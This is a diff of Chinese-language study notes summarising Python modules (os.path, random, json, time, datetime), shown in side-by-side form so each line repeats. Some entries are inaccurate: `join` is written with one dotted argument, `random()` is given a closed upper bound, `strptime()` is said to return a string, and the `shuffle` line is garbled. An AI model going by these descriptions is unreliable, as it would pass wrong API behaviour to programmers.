`exists(path)`:判断目录或文件在磁盘上是否存在,结果为bool类型,如果目录或文件在磁盘上存在,结果为True,否则为False `exists(path)`:判断目录或文件在磁盘上是否存在,结果为bool类型,如果目录或文件在磁盘上存在,结果为True,否则为False
`join(path.name)`:将目录与文件名进行拼接,相当于字符串`+`​的操作 `join(path.name)`:将目录与文件名进行拼接,相当于字符串`+`​的操作
`splitext()`:分别获取文件名和后缀 `splitext()`:分别获取文件名和后缀
## re模块 ## re模块
@ -45,17 +34,11 @@ from 模块名称 import 变量/函数/类/*
> 用于产生随机数的模块 > 用于产生随机数的模块
`seed(x)`:初始化给定的随机数种子,默认为当前系统时间 `seed(x)`:初始化给定的随机数种子,默认为当前系统时间
`random()`:产生一个[0.0,1.0]之间的随机小数 `random()`:产生一个[0.0,1.0]之间的随机小数
`randint(a,b)`生成一个[a,b]之间的整数 `randint(a,b)`生成一个[a,b]之间的整数
`randrange(m,n,k)`​生成一个[m,n)之间步长为k的随机整数 `randrange(m,n,k)`​生成一个[m,n)之间步长为k的随机整数
`uniform(a,b)`:生成一个[a,b]之间的随机小数 `uniform(a,b)`:生成一个[a,b]之间的随机小数
`choice(seq)`:从序列中随机选择一个数 `choice(seq)`:从序列中随机选择一个数
`shuffle(seq)`:将序列seq中元素随机排列,然后打乱后的序列 `shuffle(seq)`:将序列seq中元素随机排列,然后打乱后的序列
## json模块 ## json模块
@ -63,11 +46,8 @@ from 模块名称 import 变量/函数/类/*
> 用于对高维数据进行编码和解码的模块 > 用于对高维数据进行编码和解码的模块
`json.dumps(obj)`:将python数据类型转为json格式过程,编码过程 `json.dumps(obj)`:将python数据类型转为json格式过程,编码过程
`json.loads(s)`:将JSON格式字符串转为python数据类型,解码过程 `json.loads(s)`:将JSON格式字符串转为python数据类型,解码过程
`json.dump(obj,file)`:与dumps功能相同,将转换结果储存到文件file中 `json.dump(obj,file)`:与dumps功能相同,将转换结果储存到文件file中
`json.load(file)`:与loads功能相同,从文件a中读入数据 `json.load(file)`:与loads功能相同,从文件a中读入数据
## time模块 ## time模块
@ -75,15 +55,10 @@ from 模块名称 import 变量/函数/类/*
> 与时间相关的模块 > 与时间相关的模块
`time()`:获取当前时间戳 `time()`:获取当前时间戳
`localtime(sec)`:获取指定时间戳对应的本地时间的structural_time对象 `localtime(sec)`:获取指定时间戳对应的本地时间的structural_time对象
`ctime()`:获取当前时间戳对应的易读字符串 `ctime()`:获取当前时间戳对应的易读字符串
`strftime()`:格式化时间结果为字符串 `strftime()`:格式化时间结果为字符串
`strptime()`:提取字符串的时间,结果为字符串 `strptime()`:提取字符串的时间,结果为字符串
`sleep(sec)`:休眠sec秒 `sleep(sec)`:休眠sec秒
## datetime模块 ## datetime模块
@ -91,11 +66,7 @@ from 模块名称 import 变量/函数/类/*
> 与日期相关的模块,可以方便的显示日期并对日期进行运算 > 与日期相关的模块,可以方便的显示日期并对日期进行运算
`datetime`:表示日期时间类 `datetime`:表示日期时间类
`timedelta`:表示时间间隔的类 `timedelta`:表示时间间隔的类
`date`:表示日期的类 `date`:表示日期的类
`time`:表示时间的类 `time`:表示时间的类
`tzinfo`:时区相关的类 `tzinfo`:时区相关的类

Some files were not shown because too many files have changed in this diff Show More